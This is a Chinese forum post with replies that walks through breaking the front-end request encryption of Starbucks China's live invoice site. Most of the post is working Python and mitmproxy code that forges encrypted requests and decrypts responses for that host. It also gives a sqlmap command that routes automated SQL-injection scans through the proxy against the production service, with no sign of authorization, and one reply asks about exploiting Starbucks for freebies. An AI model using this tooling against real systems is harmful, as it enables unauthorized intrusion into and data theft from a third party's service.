逆向分析星巴克前端加密逻辑,使用mitm自动改包

查看 125|回复 10
作者:p0ss   
分析加密逻辑
在绕过前端无限debugger后,接下来开始分析数据包的加密逻辑,请求和响应中都有data和key,肉眼可见这是加密了。


image1.png (47.02 KB, 下载次数: 0)
下载附件
2023-11-13 16:07 上传

在xhr请求中下断点,在p.send处看到数据已经加密


p.send.png (138.1 KB, 下载次数: 0)
下载附件
2023-11-14 10:38 上传

进入这个函数,看后续的逻辑,主要是解密逻辑,解密函数de:


de.png (75.99 KB, 下载次数: 0)
下载附件
2023-11-14 10:45 上传

进入a(n),查看具体的实现:


an.png (121.18 KB, 下载次数: 0)
下载附件
2023-11-14 10:46 上传

e.setPrivateKey(r),r是rsa的私钥,获取到私钥后开始对response body中的key进行解密


key.png (80.02 KB, 下载次数: 0)
下载附件
2023-11-14 10:52 上传

e是加密前的key,r是解密后值,从r中截取3-19字符串作为aes算法的key,从r中截取23-39作为iv,对response body中的data进行解密。
利用类似的方法,可以获取加密逻辑:


enc_func.png (144.93 KB, 下载次数: 0)
下载附件
2023-11-14 16:16 上传

s为random(16bit)的随机字符,拼接后为48bit,b.en是rsa加密算法,使用公钥进行加密,y.en是aes加密,s[7-23]是key,s[28-44]是iv变量。
附上相应加解密的代码:
[Python] 纯文本查看 复制代码from Crypto.PublicKey import RSA
from Crypto.Cipher import AES
from Crypto.Cipher import PKCS1_v1_5
from Crypto.Util.Padding import pad
import base64
import requests
import os
import json
requests.packages.urllib3.disable_warnings()
os.environ['HTTPS_PROXY'] = 'http://127.0.0.1:8080'
req_rsa_keyiv="9C3867DCB3D107E57CBB995BA4238A0EAAC2EB9D6363A6B3"
headers={"Content-Type":"application/json;charset=UTF-8","sec-ch-ua":"\".Not/A)Brand\";v=\"99\", \"Google Chrome\";v=\"103\", \"Chromium\";v=\"103\"","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36","level":"1"}
def send_request(request_url,aes_str_repeat):
    #rsa key encryption by publicKey
    key = open("publicKey.txt").read()
    pubkey = RSA.importKey(key)
    pk = PKCS1_v1_5.new(pubkey)
    encrypt_text = pk.encrypt(req_rsa_keyiv.encode())
#    print("encrypt_text: %s" %encrypt_text)
    enc_key = base64.b64encode(encrypt_text).decode("utf-8")
    print("----http post----\nrequest_enc_key: %s" %enc_key)
    ##aes encryption
    aes_key=req_rsa_keyiv[7:23]
    aes_iv=req_rsa_keyiv[28:44]
    aes = AES.new(aes_key.encode("utf-8"), AES.MODE_CBC, aes_iv.encode("utf-8"))
    pad_pkcs7 = pad(aes_str_repeat.encode("utf-8"), AES.block_size, style='pkcs7')
    encrypt_aes = aes.encrypt(pad_pkcs7)
    encrypted_text = str(base64.encodebytes(encrypt_aes), encoding="utf-8")
    encrypted_text_data = encrypted_text.replace("\n", "")
    post_body='{"key":"'+enc_key+'","data":"'+str(encrypted_text_data)+'"}'
    print("request_post_body:%s \n-----http post end--------" %post_body)
    res=requests.post(url=request_url,headers=headers,data=post_body,verify=False)
    return res
def decrypt_response(response):
    if response.status_code==200:
        res_data= json.loads(response.text)
        rsa_key=res_data["key"]
        ##rsa key decryption by privateKey
        privateKey = open("privateKey.txt").read()
        enc_result = base64.b64decode(rsa_key)
        rsakey = RSA.importKey(privateKey)
        cipher = PKCS1_v1_5.new(rsakey)
        rsakey_decrypted = cipher.decrypt(enc_result, 'DecryptError').decode('utf-8')
        ##aes decryption
        response_aes_key=rsakey_decrypted[3:19]
        response_aes_iv=rsakey_decrypted[23:39]
        print("--------http response-----\nresponse_aes_key:%s" %response_aes_key)
        print("response_aes_iv:%s" %response_aes_iv)
        print("response data:%s" %res_data["data"])
        encrypt_text=base64.b64decode(res_data["data"])
        cipher=AES.new(key=response_aes_key.encode(),mode=AES.MODE_CBC,IV=response_aes_iv.encode())
        decrypt_text=cipher.decrypt(encrypt_text).decode("utf-8")
        pad_size = ord(decrypt_text[-1])
        decrypt_text = decrypt_text[:-pad_size]
        print("decrypt_text:%s\n--------http response end------" %decrypt_text)
    else:
        print("decryption response:Server Error!")
if __name__=="__main__":
    getMaintain_request_url="https://invoice.starbucks.com.cn/efapiao/c/maintain/get"
    for i in range(100,105):
        aes_str_repeat = '{}'
        response = send_request(getMaintain_request_url,aes_str_repeat)
        decrypt_response(response)
做完解密后,后续如果要使用类似sqlmap做自动安全检测,借助mitmproxy就可以实现。大致的思路是通过设置mitmproxy代{过}{滤}理,将sqlmap的原始请求发送到mitmproxy,mitmproxy对请求body进行操
作(计算key、data),并进行请求体封装,服务器响应后,对响应数据包进行解析,以明文形式回显到burp中。
编写mitmproxy脚本:starbucks_mitm.py
获取原始http请求body,调用enc进行body加密操作
[Python] 纯文本查看 复制代码def enc(req_rsa_keyiv,data):
    #key encryption
    key = open("publicKey.txt").read()
    pubkey = RSA.importKey(key)
    cipher = PKCS1_v1_5.new(pubkey)
    encrypt_text=cipher.encrypt(req_rsa_keyiv.encode())
    enc_key = base64.b64encode(encrypt_text).decode("utf-8")
    print("enc_key:{}".format(enc_key))
    #data encryption
    aes_key=req_rsa_keyiv[7:23]
    aes_iv=req_rsa_keyiv[28:44]
    aes = AES.new(aes_key.encode("utf-8"), AES.MODE_CBC, aes_iv.encode("utf-8"))
    pad_pkcs7 = pad(data.encode("utf-8"), AES.block_size, style='pkcs7')
    encrypt_aes = aes.encrypt(pad_pkcs7)
    encrypted_text = str(base64.encodebytes(encrypt_aes), encoding="utf-8")
    encrypted_text_data = encrypted_text.replace("\n", "")
    return str(enc_key),str(encrypted_text_data)
class FilterFlow:
    def request(self, flow):
        if flow.request.url.startswith("https://invoice.starbucks.com.cn/e"):
            #print("req原始数据包: {}".format(flow.request.get_text()))
            req_data_temp = json.loads(flow.request.get_text())
            if "key" in req_data_temp:
                print("key in request!")
                return
            req_data=req_data_temp["data"]
            enc_key,enc_data = enc(req_rsa_keyiv,req_data)
            enc_json_data={"key":enc_key,"data":enc_data}
            result = json.dumps(enc_json_data)
            print("req加密数据后:{}".format(result))
            flow.request.set_text(result)
获取响应数据并进行解密,明文呈现:
[Python] 纯文本查看 复制代码def dec(key,data):
    privateKey = open("privateKey.txt").read()
    enc_result = base64.b64decode(key)
    rsakey = RSA.importKey(privateKey)
    cipher = PKCS1_v1_5.new(rsakey)
    rsakey_decrypted = cipher.decrypt(enc_result, 'DecryptError').decode('utf-8')
    response_aes_key = rsakey_decrypted[3:19]
    response_aes_iv = rsakey_decrypted[23:39]
    encrypt_text = base64.b64decode(data)
    cipher = AES.new(key=response_aes_key.encode(), mode=AES.MODE_CBC, IV=response_aes_iv.encode())
    decrypt_text = cipher.decrypt(encrypt_text).decode("utf-8")
    pad_size = ord(decrypt_text[-1])
    decrypt_text = decrypt_text[:-pad_size]
    result={"key":rsakey_decrypted,"data":decrypt_text}
    #result = {"data": decrypt_text}
    #print("dec result"+str(result))
    return result
    def response(self, flow:HTTPFlow):
        if flow.request.url.startswith("https://invoice.starbucks.com.cn/e"):
            print("res原始数据包: {}".format(flow.response.get_text()))
            resp=flow.response.get_text()
            data=json.loads(resp)
            key=data["key"]
            data=data["data"]
            result=dec(key,data)
            flow.response.set_text(json.dumps(result))
准备好后,接下来需要运行starbucks_mitm.py,将会在本地新增9000监听端口
[Bash shell] 纯文本查看 复制代码mitmdump -p 9090 -s .\starbucks_mitm.py --ssl-insecure
设置burp的upstream代{过}{滤}理


image.png (81.19 KB, 下载次数: 0)
下载附件
2023-11-14 15:30 上传

接下来在burp中正常发送明文数据就可以了:


image.png (92.11 KB, 下载次数: 0)
下载附件
2023-11-14 15:31 上传

在调试界面可以看到,实际发送给服务器的数据是下面这个样子:


image.png (108.82 KB, 下载次数: 0)
下载附件
2023-11-14 15:53 上传

相应的,把这个数据包保存起来,通过以下方式就可以把sqlmap的扫描流量导入过来:
[Bash shell] 纯文本查看 复制代码python sqlmap.py -r 11.txt --batch --proxy=http://127.0.0.1:8080
效果图如下:


image.png (143.8 KB, 下载次数: 0)
下载附件
2023-11-14 15:33 上传

资料参考:https://www.freebuf.com/articles/web/360596.html
辅助工具:https://the-x.cn/cryptography/Aes.aspx

下载次数, 下载附件

MonkeyLee   

前端js混淆、加密处理起来也许会稍微麻烦一些,后端这种基础的注入都没有做防护,该打板子
janken   

学习了,感谢分享。
lookfeiji   

给大佬磕一个,跟着大佬们学js逆向
deep1ndreams   

支持支持,感谢
lay1L   

学习了,感谢。
Sanyoku   

学习了,感谢分享。
aAChengYay   

干货,感谢分享!
sakura485586   

感谢分享!
fuvenusck   

这个看着挺实用的,可以薅星巴克的羊毛吗
您需要登录后才可以回帖 登录 | 立即注册

返回顶部